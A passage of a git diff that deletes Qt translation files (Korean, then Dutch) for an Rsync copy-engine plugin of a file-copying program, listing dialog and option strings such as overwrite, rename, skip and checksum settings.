- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>더 최신이면 덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>수정 날짜가 다르면 덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>이 파일들은 동일한 파일입니다</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>원본과 대상이 동일합니다</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>이 폴더들은 동일한 폴더입니다</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>원본</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>대상</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>원본과 대상이 동일합니다</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>폴더 이름</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>합치기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>건너뛰기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>파일 권한 전송</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>파일 날짜 보존</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>블럭 크기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>전송 자동 시작</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>폴더 오류시</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>확인</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>건너뛰기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>합치기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>대상 폴드 존재시 확인</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>폴더 충돌시</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>폴더가 존재하지 않습니다</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>폴더를 읽을 수 없습니다</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/nl/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/nl/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/nl/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
